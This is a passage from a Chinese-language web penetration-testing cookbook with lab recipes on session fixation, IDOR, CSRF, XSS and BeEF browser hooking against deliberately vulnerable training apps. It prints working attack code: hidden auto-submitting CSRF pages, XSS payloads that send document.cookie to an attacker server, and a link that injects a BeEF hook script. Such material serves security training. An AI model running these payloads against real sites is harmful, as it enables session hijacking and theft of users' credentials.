Secure 属性,或在 Cookie 管理器中选择“仅在加密连接中发送”,告诉浏览器仅通过加密通道发送或接收此 cookie。这意味着仅通过 HTTPS 连接发送。如果没有设置这个标志,攻击者可能会执行 中间人攻击 (MiTM),并迫使通信不加密,从而暴露会话 cookie 为明文,导致攻击者能够通过会话标识符冒充有效用户。

还有更多...

由于 PHPSESSID 是 PHP 会话 Cookie 的默认名称,其他平台也有已知的会话 Cookie 名称:

  • ASP.NET_SessionId 是 ASP .Net 会话 Cookie 的名称

  • JSESSIONID 是 JSP 实现的会话 Cookie

OWASP 提供了一篇关于安全会话 Cookie 的非常详尽的文章:www.owasp.org/index.php/Session_Management_Cheat_Sheet

攻击会话固定漏洞

当用户加载应用程序的主页时,它会设置一个会话标识符,可以是 Cookie、令牌或内部变量;如果一旦用户登录应用程序并进入需要用户名和密码或其他身份验证的受限区域后,该标识符未发生更改,那么该应用程序可能会受到会话固定攻击的影响。

会话固定攻击发生在攻击者将一个会话 ID 强制分配给一个有效用户,然后该用户登录应用程序时,攻击者提供的 ID 没有被更改。这使得攻击者可以简单地使用相同的会话 ID 劫持用户的会话。

在本教程中,我们将通过使用易受攻击的虚拟机 vm_1 中的一个应用程序来学习会话固定攻击的过程。

如何操作...

WebGoat 提供了一个有些简单,但非常具说明性的会话固定练习。我们将利用它来展示如何执行这一攻击:

  1. 在 Kali 虚拟机中,登录到 WebGoat 并在菜单中选择 Session Management Flaws | Session Fixation。

  2. 我们处于攻击的第一阶段。描述中提到我们是攻击者,试图向受害者发送网络钓鱼邮件,以强制使用我们选择的会话 ID。将 HTML 代码中的 href 值替换为以下内容(请注意大小写,因为服务器对大小写敏感):

/WebGoat/attack/?Screen=56&menu=1800&SID=fixedsessionID

这里的重点是 SID 参数,它包含一个由我们(攻击者)控制的会话值。

  1. 点击“发送邮件”进入第二阶段。

  2. 在第二阶段,我们从受害者阅读恶意邮件的角度出发。如果你将鼠标悬停在 Goat Hills Financial 的链接上,你会注意到目标 URL 包含了我们作为攻击者设置的 SID 值:

  1. 点击链接进入第三阶段。

  2. 现在受害者已在登录页面,使用提供的凭据登录。请注意地址栏中的 SID 值仍然是我们设置的那个:

  1. 现在,在第四阶段,我们回到攻击者的视角,并且有一个链接指向 Goat Hills Financial;点击它进入登录页面。

  2. 注意地址栏现在有了不同的SID值;如果我们在没有认证的情况下访问登录页面,情况就会如此。使用浏览器的开发者工具查找并更改登录表单的action参数,以使其包含我们为受害者建立的会话值:

  1. SID值发生变化时,点击登录;无需设置用户名或密码,因为这些字段没有经过验证:

通过更改登录表单提交时使用的SID参数,我们欺骗了服务器,让它认为我们的请求来自一个有效的现有会话。

它是如何工作的...

在这个教程中,我们跟踪了一个涉及社交工程的攻击路径,通过向受害者发送一封包含恶意链接的邮件。这个链接利用了会话固定漏洞,攻击者应该在之前发现这个漏洞,并且当受害者用户登录应用时,会话 ID 保持由攻击者提供,并将其与用户关联;这使得攻击者能够在应用中操控自己的参数,以复制相同的 ID,从而劫持有效用户的会话。

使用 Burp Sequencer 评估会话标识符的质量

Burp Suite 的 Sequencer 向服务器请求数千个会话标识符(例如,通过重复登录请求),并分析响应以确定生成标识符的算法的随机性和加密强度。算法越强,攻击者越难以复制有效的 ID。

在这个教程中,我们将使用 Burp Sequencer 来分析两个不同应用程序的会话 ID 生成,并确定一个安全的会话 ID 生成算法的一些特性。

准备工作

我们将使用 WebGoat 和 RailsGoat(WebGoat 的 Ruby on Rails 框架版本)。这两个应用都可以在易受攻击的虚拟机(vm_1)中找到。

你需要在 RailsGoat 中创建一个用户;为此,请使用主页上的注册按钮。

如何操作...

我们将开始分析 RailsGoat 的会话 cookie。我们本可以使用任何PHPSESSIDJSESSIONIDcookie,但我们将利用这个自定义值来审查额外的概念。配置你的浏览器以使用 Burp Suite 作为代理,并按照以下步骤操作:

  1. 登录到 RailsGoat 并查看代理的历史记录,寻找一个设置会话 cookie 的响应。你应该看到Set-Cookie头,并且应该设置一个名为_railsgoat_session的 cookie。

  2. 在这种情况下,这是一个针对/railsgoat/session的请求。右键点击 URL,或请求或响应的正文,并选择“发送到 Sequencer”:

  1. 在继续进行 Sequencer 分析之前,先看看会话 cookie 包含了什么内容。这个_railsgoat_session cookie 看起来像是一个 base64 编码的字符串,通过两个短横线(--)与十六进制字符串连接起来。我们将在本食谱的后续部分解释这一推断。选择 cookie 的值,右击它,选择“发送到解码器”。

  2. 在解码器中,首先将其解码为 URL 格式,然后在第二行中,将其解码为 base64 格式:

看起来 base64 编码中包含了三个字段:session_id,它是一个十六进制值,可能是一个哈希;csrf_token,它是用来防止跨站请求伪造CSRF)攻击的一个值;以及user_id,它似乎只是两个字符,可能是一个顺序号。cookie 的其余部分(--之后的部分)不是 base64 编码的,看起来像是一个随机哈希。现在,我们对会话 ID 有了更多了解,也学到了一些关于编码和 Burp Suite 解码器的知识。

  1. 让我们继续在 Sequencer 中的分析。在 Burp Suite 的 Sequencer 标签页中,确保选中了正确的请求和 cookie:

  1. 我们知道这个 cookie 是用 base64 编码的;在分析之前,进入分析选项并选择 Base64 解码。这样,Burp Suite 就会分析 cookie 中的解码信息。

  2. 回到实时捕获标签页,点击开始实时捕获。会弹出一个新窗口,我们等待它完成。可能需要一些时间。

  3. 完成后,点击现在分析:

我们可以看到这个 cookie 的质量极好,这意味着攻击者不容易猜测它。可以自由浏览所有的结果标签页。

  1. 这是一个质量良好的会话 cookie 的示例;这次我们来看看一个质量较差的。登录 WebGoat 并进入会话管理漏洞 | 劫持会话。

  2. 本次练习是关于通过劫持有效会话 ID 来绕过登录表单。尝试使用任意随机的用户名和密码进行登录,仅仅是为了让它被记录在 Burp Suite 中:

  1. 在这种情况下,设置会话 cookie 的请求是首先加载练习的请求;在 Burp Suite 的历史记录中搜索Set-Cookie: WEAKID=响应头。这个 ID 仅仅是由短横线分隔的数字。

  2. 发送请求到 Sequencer。

  3. 选择WEAKID cookie 作为目标进行分析。

  4. 开始实时捕获并等待其完成后执行分析:

对于这个 ID,我们可以看到质量极差。进入字符分析,我们可以更好地了解:

这张图表展示了每个字符位置的变化或重要程度。我们看到从位置2到位置3,以及从34的重要性增加,然后在5处(即连字符的位置)再次下降。这表明 ID 的第一部分是递增的,第二部分也可能是递增的,但变化的速率不同。

它是如何工作的…

Burp Suite 的 Sequencer 对大量会话标识符(或我们提供的响应中的任何数据)进行不同的统计分析,以确定这些数据是否是随机生成的,还是可能存在可预测的模式,攻击者可以利用这种模式生成有效的 ID 并劫持会话。

首先,我们分析了一个复杂的会话 cookie,它由一个使用 base64 算法编码的数据结构和看似是 SHA-1 哈希组成。我们可以通过它包含大小写字母、数字,并且可能还包含加号(+)或斜杠(/),并且以 %3D 结尾(这是 = 的 URL 转义序列),从而判断第一部分是 base64 编码的。我们说 cookie 的第二部分是 SHA-1 哈希,因为它是一个由 40 位十六进制数字组成的字符串;每个十六进制数字代表 4 个比特,4 个比特 * 40 位 = 160 位;而 SHA-1 是最流行的 160 位哈希算法。

然后,我们分析了一个生成较弱的会话 ID。显然它是递增的,因为在十进制数字中,最右侧的位置的数字变化频率是其最左边相邻位置的十倍。ID 的第二部分,根据其长度和最重要的数字,暗示它是一个 Unix 时间戳(en.wikipedia.org/wiki/Unix_time)。

另请参见

深入研究WEAKID会话 cookie 的生成机制,尝试找出一种方法来发现活动的会话 cookie,以绕过登录。使用 Burp Suite 的 Repeater 和 Intruder 工具来帮助完成此任务。

要了解更多关于如何区分编码、哈希和加密的内容,可以查看这篇精彩的文章:danielmiessler.com/study/encoding-encryption-hashing-obfuscation/

滥用不安全的直接对象引用

直接对象引用是指应用程序使用客户端提供的输入,通过名称或其他简单标识符访问服务器端资源,例如,使用文件参数在服务器中搜索特定文件并允许用户访问它。

如果应用程序没有正确验证用户提供的值,并且允许该用户访问资源,攻击者可以利用这一点绕过权限控制,访问该用户未授权的文件或信息。

在本例中,我们将分析并利用 RailsGoat 应用中的这一简单漏洞。

准备工作

对于本次练习,我们需要在 RailsGoat 中注册至少两个用户。其中一个是用户名为user的受害者,另一个是用户名为attacker的攻击者。

如何操作...

对于本次练习,最好我们知道两个用户的密码,尽管在真实场景中我们实际上只需要知道攻击者的密码。

配置浏览器使用 Burp Suite 作为代理,并执行以下操作:

  1. user身份登录并进入账户设置;点击个人资料图片(右上角)和账户设置:

注意,在我们的示例中,URL 显示为users/7/account_settings。这是否意味着数字7是用户 ID?

  1. 登出并以attacker身份登录。

  2. 再次进入账户设置,观察攻击者设置的 URL 是否有不同的数字。

  3. 在 Burp Suite 中启用请求拦截。

  4. 更改攻击者用户的密码。设置一个新密码,确认并点击提交。

  5. 让我们分析拦截到的请求:

让我们关注截图中加下划线的部分。首先,请求是发送到一个9.json文件;9是攻击者账户设置 URL 中的数字,所以这可能是用户 ID。接下来,有一个user%5Buser_id%50参数(如果解码的话就是user[user_id]),其值为9,然后是user%5Bemail%50或解码后的user[email]。最后两个参数是密码和密码确认。

  1. 那么,如果攻击者请求中所有关于用户9的引用没有得到正确验证,会怎么样呢?让我们尝试攻击受害者用户,其 ID 为7

  2. 作为攻击者,进行一次密码更改,并再次拦截请求。

  3. 更改请求,将攻击者的 ID 替换为受害者的 ID,修改 URL 和user_id参数。

  4. 更改请求的其余部分,参考截图中的加下划线值,或者选择自己的值:

  1. 提交请求并验证其是否被接受(响应代码为 200,并且正文中有success消息)。

  2. 登出并尝试使用原密码以受害者用户身份登录,登录将失败。

  3. 现在,尝试使用攻击者请求中设置的密码,登录将会成功。

  4. 进入账户设置并验证其他更改也已生效:

工作原理...

在本例中,我们首先检查了用户账户设置的 URL,并注意到应用可能通过数字 ID 区分用户。然后,我们执行了一次更改用户信息的请求,并验证了数字标识符的使用。

接着,我们尝试替换用户的 ID,做出更改以影响其他用户,结果发现 RailsGoat 直接引用了包含用户信息的对象,并且仅通过请求正文中提供的用户 ID 来验证和进行更改。这样,作为攻击者,我们只需要知道受害者的 ID,就可以更改他们的信息,甚至是密码,从而让我们代表他们登录。

执行跨站请求伪造攻击(Cross-Site Request Forgery)

CSRF 攻击是让已认证用户在他们已认证的 web 应用程序中执行不想要的操作。通过用户访问的外部网站触发这些操作。

在这个教程中,我们将从应用程序中获取所需的信息,以便知道攻击网站应该如何向脆弱的服务器发送有效的请求,然后我们将创建一个页面,模拟合法请求并欺骗用户在已认证状态下访问该页面。我们还将对基本的概念验证进行几次迭代,使其看起来更像一个现实中的攻击,受害者不会注意到它。

准备中

你需要一个有效的 BodgeIt 用户账户来进行这个教程。我们将使用user@example.com作为我们的受害者:

如何操作...

首先,我们需要分析我们想要强迫受害者执行的请求。为此,我们需要使用 Burp Suite 或其他在浏览器中配置的代理:

  1. 以任何用户身份登录到 BodgeIt 并点击用户名进入个人资料页面。

  2. 执行密码更改。我们来看一下代理中请求的样子:

因此,它是一个 POST 请求,发送到 http://192.168.56.11/bodgeit/password.jsp,请求正文中仅包含密码及其确认信息。

  1. 让我们尝试制作一个非常简单的 HTML 页面来复制这个请求。创建一个文件(我们将其命名为csrf-change-password.html),并将以下内容写入其中:
<html>
<body>
<form action="http://192.168.56.11/bodgeit/password.jsp" method="POST">
<input name="password1" value="csrfpassword">
<input name="password2" value="csrfpassword">
<input type="submit" value="submit">
</form>
</body>
</html>
  1. 现在,在与我们已登录会话相同的浏览器中加载这个文件:

  1. 点击提交,你将被重定向到用户的个人资料页面。页面会告诉你密码已成功更新。

  2. 尽管这证明了这一点,但外部网站(或者像本例中的本地 HTML 页面)仍然可以在应用程序上执行密码更改请求。用户仍然不太可能点击提交按钮。我们可以自动化这个过程并隐藏输入字段,使恶意内容保持隐藏。让我们基于之前的页面创建一个新页面,命名为csrf-change-password-scripted.html

<html>
<script>
function submit_form()
{
 document.getElementById('form1').submit();
}
</script>
<body onload="submit_form()">
<h1>A completely harmless page</h1>
You can trust this page.
Nothing bad is going to happen to you or your BodgeIt account. 
<form id="form1" action="http://192.168.56.11/bodgeit/password.jsp" method="POST">
<input name="password1" value="csrfpassword1" type="hidden">
<input name="password2" value="csrfpassword1" type="hidden">
</form>
</body>
</html>

这次,表单有一个 ID 参数,并且页面中有一个脚本,当页面完全加载时会自动提交内容。

  1. 如果我们在与 BodgeIt 会话已启动的相同浏览器中加载这个页面,它会自动发送请求,并且用户的个人资料页面会随之显示。在下图中,我们使用浏览器的调试器在请求发送之前设置了一个断点:

  1. 从攻击者的角度来看,最后这次尝试看起来更好;我们只需要受害者加载页面,请求就会自动发送,但接着受害者会看到“Your password has been changed”消息,这肯定会引起警觉。

  2. 我们可以通过让攻击页面在同一页面的不可见框架中加载响应来进一步改进该攻击页面。有很多方法可以做到这一点;一种快速而简单的方法是将框架的大小设置为 0。我们的文件将如下所示:

<html>
<script>
function submit_form()
{
 document.getElementById('form1').submit();
}
</script>
<body onload="submit_form()">
<h1>A completely harmless page</h1>
You can trust this page.
Nothing bad is going to happen to you or your BodgeIt account. 
<form id="form1" action="http://192.168.56.11/bodgeit/password.jsp" method="POST" target="target_frame">
<input name="password1" value="csrfpassword1" type="hidden">
<input name="password2" value="csrfpassword1" type="hidden">
</form>
<iframe name="target_frame" height="0%" witdht="0%">
</iframe>
</body>
</html>

请注意,表单的 target 属性是下面定义的 iframe,而且这个框架的 heightwidth 都是 0%

  1. 在启动会话的浏览器中加载新页面。此截图显示了使用浏览器的开发者工具检查页面时的外观:

请注意,iframe 对象在页面中仅为一条黑线,在 Inspector 中,我们可以看到它包含了 BodgeIt 用户的个人资料页面。

  1. 如果我们分析我们的 CSRF 页面所进行的网络通信,我们可以看到它实际上是在请求更改 BodgeIt 密码:

它是如何工作的……

当我们从浏览器发送请求,并且已经存储了属于目标域的 cookie 时,浏览器会在请求发送之前自动将该 cookie 附加到请求中;这正是 cookie 作为会话标识符如此方便的原因,但 HTTP 的这种工作方式也是使其容易受到像我们在本例中看到的攻击的原因。

当我们在同一个浏览器中加载一个页面,而该浏览器中已经有一个活动的应用程序会话,即使是不同的标签页或窗口,并且该页面向会话发起的域发起请求时,浏览器会自动将会话 cookie 附加到该请求中。如果服务器没有验证其接收到的请求是否确实来源于应用程序内部,通常是通过添加一个包含唯一令牌的参数,该令牌在每个请求或每次情况下都会变化,它就允许恶意网站代表合法的、已认证的用户发起请求,而这些用户在登录目标域时访问了这个恶意网站。

在 web 应用程序渗透测试中,我们使用的第一个代码,包含两个文本字段和提交按钮,可能足以证明存在安全漏洞。然而,如果应用程序的渗透测试是其他工作的一部分,比如社会工程学或红队演习,则需要一些额外的努力,以防止受害用户怀疑发生了什么。在这个过程中,我们使用 JavaScript 来自动发送请求,通过在页面中设置 onload 事件,并在事件处理函数中执行表单的提交方法。我们还使用了一个隐藏的 iframe 来加载密码更改的响应,这样,受害者就永远看不到密码已更改的消息。

另见

应用程序通常使用 web 服务执行某些任务或从服务器检索信息,而无需更改或重新加载页面;这些请求是通过 JavaScript 发出的(它们会添加请求头 X-Requested-With: XMLHttpRequest),通常采用 JSON 或 XML 格式,并带有 Content-Type 头,其值为 application/jsonapplication/xml。当发生这种情况并且我们尝试进行跨站点/域请求时,浏览器将执行所谓的 预检请求,这意味着在预定请求之前,浏览器会发送一个 OPTIONS 请求来验证服务器允许从跨源(与应用程序所在域不同的域)请求哪些方法和内容类型。

预检请求可以中断 CSRF 攻击,因为如果服务器不允许跨域请求,浏览器就不会发送恶意请求。然而,这种保护仅在通过脚本发起请求时有效,而在通过表单发起请求时则无效。因此,如果我们能够将 JSON 或 XML 请求转换为普通的 HTML 表单,我们就可以发起 CSRF 攻击。如果无法做到这一点,例如因为服务器只允许某些特定的内容类型,那么我们成功发起 CSRF 攻击的唯一机会就是服务器的 跨源资源共享CORS)策略允许来自我们攻击域的请求,因此需要检查服务器响应中的 Access-Control-Allow-Origin 头。

第五章:跨站脚本和客户端攻击

本章内容包括:

  • 使用浏览器绕过客户端控制

  • 识别跨站脚本(XSS)漏洞

  • 通过 XSS 获取会话 Cookies

  • 利用 DOM XSS

  • 使用 XSS 和 BeEF 进行浏览器中人攻击

  • 从 Web 存储中提取信息

  • 使用 ZAP 测试 WebSockets

  • 使用 XSS 和 Metasploit 获取远程 Shell

介绍

Web 应用与其他类型应用的主要区别在于,Web 应用不在客户端安装软件或用户界面,因此浏览器在用户设备上充当客户端角色。

本章将重点讲解利用浏览器作为代码解释器的漏洞,浏览器读取 HTML 和脚本代码并显示结果给用户,同时允许用户通过 HTTP 请求与服务器交互,最近的 WebSockets(HTML5 的最新版本中的一种补充)也被广泛使用。

使用浏览器绕过客户端控制

Web 应用的处理既发生在服务器端,也发生在客户端。后者通常用于处理与信息展示相关的内容;此外,输入验证和某些授权任务是在客户端执行的。当这些验证和授权检查没有通过类似的服务器端过程来加强时,可能会面临安全问题,因为客户端信息和处理容易被用户操控。

在这个示例中,我们将看到几个情况,恶意用户可以利用那些没有服务器端支持的客户端控制。

如何操作...

我们来看一个使用 WebGoat 的实际示例:

  1. 登录 WebGoat 并进入访问控制漏洞 | LAB 基于角色的访问控制 | 第一阶段:绕过业务层访问控制:

  1. 使用 Tomcat 的凭证(Tom:tom)登录并启用 Firefox 的开发者工具(F12)。

  2. 让我们检查员工列表。我们可以看到唯一的元素Tom Cat (employee)是一个值为105的 HTML 选项标签:

  1. 打开开发者工具中的 Network 选项卡并点击 ViewProfile。注意请求中有一个名为employee_id的参数,它的值是105

  1. 点击 ListStaff 返回列表。

  2. 切换到开发者工具中的 Inspector 选项卡。

  3. 双击option标签的值(105)并将其更改为101。我们想看看通过修改这个参数是否可以查看其他用户的信息。

  4. 再次点击 ViewProfile:

  1. 现在,WebGoat 中的任务是使用 Tom 的账户删除 Tom 的个人资料,让我们来尝试一下。点击 ListStaff 返回列表。

  2. 现在,检查 ViewProfile 按钮。

  3. 请注意,它的名称是action,值是 ViewProfile;将值更改为 DeleteProfile:

  1. 按钮中的文本将会改变。点击 DeleteProfile,当前阶段将完成:

它是如何工作的...

在这个案例中,我们首先注意到,员工 ID 作为值提供给客户端,并作为请求参数发送到服务器,因此我们尝试并更改了employee_id参数,以获取我们不应访问的员工信息。

之后,我们通过检查检查器,注意到所有按钮的名称都是action,它们的值是按下时执行的操作。通过检查开发者工具的网络标签中的请求,可以确认这一点。因此,如果我们有像SearchStaffViewProfileListStaff这样的操作,也许DeleteProfile就是挑战所要求的操作。当我们更改了ViewProfile按钮的值并点击它时,我们验证了我们的假设是正确的,凭借修改 HTML 元素值的能力,我们可以删除任何用户(或执行任何操作)——这正是任何 Web 浏览器提供的工具所能做到的。

另见

Mutillidae II,也包含在 OWASP BWA 中,有一个非常有趣的挑战,旨在绕过客户端控制。推荐读者尝试这个挑战。

识别跨站脚本攻击漏洞

跨站脚本攻击XSS)是 Web 应用程序中最常见的漏洞之一;事实上,它被认为是 2013 年 OWASP 前十大漏洞中的第三大漏洞(www.owasp.org/index.php/Top_10_2013-Top_10)。

在这个案例中,我们将看到一些识别 Web 应用程序中 XSS 漏洞的关键点。

如何操作...

让我们来看一下以下步骤:

  1. 我们将使用Damn Vulnerable Web ApplicationDVWA)进行这个案例。使用默认的管理员凭据(用户名和密码均为admin)登录,然后进入 XSS 反射部分。

  2. 测试漏洞的第一步是观察应用程序的正常响应。在文本框中输入一个名称并点击提交。我们将使用Bob

  1. 应用程序使用我们提供的名称来形成一个短语。如果我们引入一些特殊字符或数字,而不是有效的名称,会发生什么呢?我们来试试*<*'this is the 1st test'*>*

  1. 现在,我们看到任何我们输入到文本框中的内容都会反映在响应中;也就是说,它正在成为响应中的 HTML 页面的一部分。让我们查看页面的源代码,分析它是如何展示信息的:

源代码显示,输出中的特殊字符没有进行编码处理,我们发送的特殊字符直接反射回页面,且没有任何预处理。*< **>*符号是用来定义 HTML 标签的,因此也许我们可以输入一些脚本代码。

  1. 尝试输入一个名字,后面跟上非常简单的脚本代码,Bob<script>alert('XSS')</script>

页面执行了脚本,导致弹出了警告框,所以这个页面存在 XSS 漏洞。

  1. 现在,查看源代码,看看我们的输入发生了什么:

看起来我们的输入被处理成了 HTML 代码的一部分;浏览器解释了<script>标签,并执行了其中的代码,显示了我们设置的警告框。

它是如何工作的...

XSS 漏洞发生在输入验证不严格或没有输入验证时,且输出没有适当编码时,无论是在服务器端还是客户端。这意味着应用程序允许我们输入在 HTML 代码中也能使用的字符,并且在发送到页面时没有执行任何编码处理(例如使用 HTML 转义码&lt;&gt;),以防止它们被当作 HTML 或 JavaScript 源代码解析。

攻击者利用这些漏洞改变页面在客户端的行为,欺骗用户在不知情的情况下执行任务,或窃取私人信息。

为了发现 XSS 漏洞,我们跟踪了一些线索:

  • 我们在框中输入的文本被准确地用来形成一个显示在页面上的消息;也就是说,这是一个反射点。

  • 特殊字符没有被编码或转义

  • 源代码显示我们的输入被集成到了一个可以成为 HTML 代码一部分的位置,并且浏览器会将其作为 HTML 代码解析。

还有更多...

在这个示例中,我们发现了一个反射型 XSS;这意味着每次我们发送这个请求并且服务器响应时,脚本都会执行。另一种 XSS 类型被称为存储型 XSS。存储型 XSS 可能在输入提交后不立即呈现,但这些输入会被存储在服务器上(可能是数据库中),并在每次用户访问存储的数据时执行。

通过 XSS 获取会话 cookie

在前面的示例中,我们进行了一次非常基础的 XSS 利用原型测试。此外,在之前的章节中,我们看到了攻击者如何使用会话 cookie 窃取有效用户的会话。没有HttpOnly标志保护的 XSS 漏洞和会话 cookie,可能是对 Web 应用程序安全的致命组合。

在这个示例中,我们将看到攻击者如何利用 XSS 漏洞获取用户的会话 cookie。

如何操作...

攻击者需要有一个服务器来接收外泄的数据(在这个例子中是会话 cookie),因此我们将使用一个简单的 Python 模块来设置它。以下是步骤:

  1. 要使用 Python 启动一个基本的 HTTP 服务器,请在 Kali Linux 的终端中运行以下命令:

  1. 现在登录到 DVWA 并进入 XSS 反射攻击。

  2. 在名称文本框中输入以下有效负载:

Bob<script>document.write('<img src="http://192.168.56.10:88/'+document.cookie+'">');</script>

  1. 现在,返回到正在运行 Python 服务器的终端,查看它如何接收到新的请求:

请注意,URL 参数(在GET之后)包含了用户的会话 cookie。

它是如何工作的...

在像 XSS 这样的攻击中,需要用户交互才能利用漏洞,攻击者通常无法控制用户何时点击恶意链接或执行导致应用程序受到威胁的操作。在这种情况下,攻击者应该设置一个服务器来接收受害者发送的信息。

在这个示例中,我们使用了 Python 提供的SimpleHTTPServer模块,但更复杂的攻击显然需要更复杂的服务器。

之后,进入 DVWA 并在名称文本框中输入有效负载,模拟用户点击攻击者发送的链接http://192.168.56.11/dvwa/vulnerabilities/xss_r/?name=Bob<script>document.write('<img src="http://192.168.56.10:88/'+document.cookie+'">');</script>。一旦用户的浏览器加载页面并将有效负载解析为 JavaScript 代码,它将尝试访问存储在攻击者服务器上的图片(http://192.168.56.10:88,即我们的 Kali 虚拟机),其中 cookie 的值作为文件名。攻击者的服务器将注册此请求并返回 404 Not Found 错误;然后,攻击者可以获取记录的会话 cookie,并利用它劫持用户的会话。

另见

在这个示例中,我们使用了<script>标签将 JavaScript 代码块注入到页面中;然而,这并不是我们唯一可以使用的 HTML 标签,特别是在 HTML5 的新增标签中,例如<video><audio>。让我们看看一些其他的有效负载,看看如何利用 XSS 漏洞:

  • 在带有src/source参数的标签(如<img><audio><video>)上生成错误事件:
<img src=X onerror="javascript:document.write('<img src=&quot;http://192.168.56.10:88/img'+document.cookie+'&quot;>')">

或者,使用以下方法:

<audio><source onerror="javascript:alert('XSS')">

或者,这也是一种方法:

<video><source onerror="javascript:alert('XSS')">
  • 注入一个加载外部 JavaScript 文件的<script>标签:
<script src="http://192.168.56.10:88/malicious.js">
  • 如果注入的文本作为 HTML 标签中的值,并被引号(")包围,例如<input value="injectable_text">,我们可以关闭引号并向代码中添加事件。例如,将injectable_text替换为以下代码。注意,最后一个引号没有关闭,因此我们可以使用 HTML 代码中已存在的那个引号:
" onmouseover="javascript:alert('XSS')
  • 注入一个链接或其他带有href属性的标签,使其在被点击时执行代码:
<a href="javascript:alert('XSS')">Click here</a>

有许多种标签、编码和指令的变种可以用来利用 XSS 漏洞。更多的参考资料,请查看 OWASP XSS 过滤器绕过备忘单:www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

利用 DOM XSS

也称为客户端 XSS,DOM XSS 之所以这样命名,是因为有效载荷由浏览器的 DOM 接收和处理,这意味着注入的代码永远不会到达服务器,任何服务器端的验证或编码都无法防御这种攻击。

在这个案例中,我们将分析如何在 Web 应用程序中检测和利用这个漏洞。

如何执行……

以下是检测和利用此漏洞的步骤:

  1. 在易受攻击的虚拟机vm_1中,进入 Mutillidae II | Top 10 2013 | XSS | DOM | HTML5 本地存储。

  2. 这个练习展示了一个表单,它将信息存储在浏览器的本地存储和会话存储中。在网络选项卡中启用开发者工具。

  3. 尝试添加一些数据,注意到没有网络通信,并且绿色进度条显示给定键的值:

  1. 如果我们检查“添加新项目”按钮,我们会看到它在点击时调用一个函数,addItemToStorage

  1. 现在,转到调试器选项卡,查找addItemToStorage函数;我们在index.php的第 1064 行找到了它:

带有数字 1 的箭头表示存在某些输入验证,但它依赖于一个名为gUseJavaScriptValidation的变量的值。如果我们在代码中查找这个变量,会发现它最初被声明为FALSE(第 1027 行),而且似乎没有地方修改它的值,所以也许这个条件永远不会为真。我们跟踪代码流程,发现没有其他验证或修改存储键值的变量。而在2,第 1093 行,这个值作为参数传递给setMessage函数,该函数在第 1060 行3通过使用现有元素的innerHTML属性将消息添加到页面中。

  1. 所以,尝试设置一个包含 HTML 代码的键值。添加一个新的条目,使用以下作为键:Cookbook test <H1>3</H1>

  1. 如果 HTML 代码被浏览器解析,那么一个 JavaScript 块也很可能被解析。添加一个新的条目,使用以下作为键:Cookbook test <img src=X onerror="alert('DOM XSS')">

它是如何工作的……

在本示例中,我们首先分析了应用程序的行为,注意到它没有连接到服务器来向页面添加信息,并且它反射了用户提供的一个值。随后,我们分析了将数据添加到浏览器内部存储的脚本代码,发现这些数据可能没有经过正确的验证,并通过 innerHTML 属性返回给用户,至少对于键值来说,这意味着这些数据被当作 HTML 代码处理,而不是文本。

为了尝试这个验证不足的问题,我们首先插入了一些带有 HTML 头部标签的文本,并让浏览器解释了这些代码。我们的最后一步是尝试一个 XSS 漏洞概念验证,并成功执行了。

浏览器劫持攻击与 XSS 和 BeEF 的结合

BeEF(浏览器利用框架)是一个专注于客户端攻击向量的工具,特别是针对网页浏览器的攻击。

在本示例中,我们将利用 XSS 漏洞并使用 BeEF 控制客户端浏览器。

准备工作

在我们开始之前,需要确保已经启动了 BeEF 服务,并且能够访问 http://127.0.0.1:3000/ui/panel(登录凭证为 beef/beef)。

  1. Kali Linux 中的默认 BeEF 服务无法正常工作,因此我们不能仅仅运行 beef-xss 来启动 BeEF。相反,我们需要从安装目录中运行它,如下所示:
cd /usr/share/beef-xss/
 ./beef

  1. 现在,浏览到 http://127.0.0.1:3000/ui/panel,并使用 beef 作为用户名和密码。如果成功,我们就可以继续。

如何操作...

BeEF 需要客户端浏览器调用 hook.js 文件,这是一个将浏览器钩住并连接到 BeEF 服务器的脚本,我们将使用一个易受 XSS 攻击的应用程序让用户调用此脚本:

  1. 假设你是受害者,你收到了一封包含链接 http://192.168.56.11/bodgeit/search.jsp?q=<script src="http://192.168.56.10:3000/hook.js"></script> 的邮件,并且点击了该链接。

  2. 现在,在 BeEF 面板中,攻击者将看到一个新的在线浏览器:

  1. 如果我们查看浏览器中的日志标签页,可能会看到 BeEF 正在存储用户在浏览器窗口中执行的操作信息,例如输入和点击,如下所示:

  1. 当浏览器被劫持后,攻击者做的最好的事情就是生成一些持久化,至少在用户浏览被攻陷的域时保持有效。前往攻击者浏览器中的 Commands 标签页,然后在模块树中选择 Persistence | Man-In-The-Browser,接着点击 Execute 执行。

  2. 模块执行后,选择相关的命令并查看模块结果历史中的结果,如下所示:

  1. 攻击者还可以使用 BeEF 在受害者的浏览器中执行命令;例如,在模块树中进入浏览器 | 获取 Cookie,点击执行以获取用户的 Cookie:

它是如何工作的…

在这个配方中,我们使用了 script 标签的 src 属性来调用一个外部的 JavaScript 文件;在这个例子中,是我们 BeEF 服务器的钩子。

这个 hook.js 文件与服务器通信,执行命令并返回响应,以便攻击者能够查看;它不会在客户端浏览器中输出任何内容,因此受害者通常不会知道他们的浏览器已经被入侵。

在让受害者执行我们的钩子脚本后,我们使用了持久性模块“浏览器中间人”(Man-in-the-Browser),使浏览器每次用户点击指向相同域名的链接时,都会执行一个 AJAX 请求,从而保持钩子的执行并加载新页面。

我们还发现,BeEF 的日志记录了用户在页面上执行的每一个操作,并通过这些记录我们能够获取用户名和密码。还可以远程获取会话 Cookie,这可能使攻击者劫持受害者的会话。

模块左侧的彩色圆圈表示模块的可用性和可见性:绿色表示该模块对受害者浏览器有效,且对用户不可见,橙色表示它会有效,但用户会注意到它或必须与之交互,灰色表示该浏览器未经过测试,红色表示该模块无法在被钩取的浏览器上运行。

还有更多…

BeEF 具有非常强大的功能,从确定受害者使用的浏览器类型,到利用已知漏洞,甚至完全控制客户端系统。以下是一些最有趣的功能:

  • 社会工程学—漂亮的盗窃:这是一个社会工程学工具,允许我们模拟一个登录弹窗,外观类似于常见的服务,如 Facebook、LinkedIn、YouTube 等。

  • 浏览器—网络摄像头和浏览器—网络摄像头 HTML5:看似显而易见,这两个模块能够利用宽松的配置来激活受害者的网络摄像头。第一个使用隐藏的 Flash 嵌入,第二个使用 HTML5。

  • 漏洞利用文件夹:该文件夹包含了针对特定软件和情况的漏洞利用集合;其中一些利用了服务器漏洞,另一些则是针对客户端浏览器的。

  • 浏览器—钩取域名/获取存储的凭证:该模块尝试提取受感染域名的用户名和密码,这些凭证存储在浏览器中。

  • 用作代理:如果我们右击一个钩取的浏览器,我们可以选择将其作为代理使用,这会使客户端的浏览器变成一个 Web 代理;这可能让我们有机会探索受害者的内部网络。

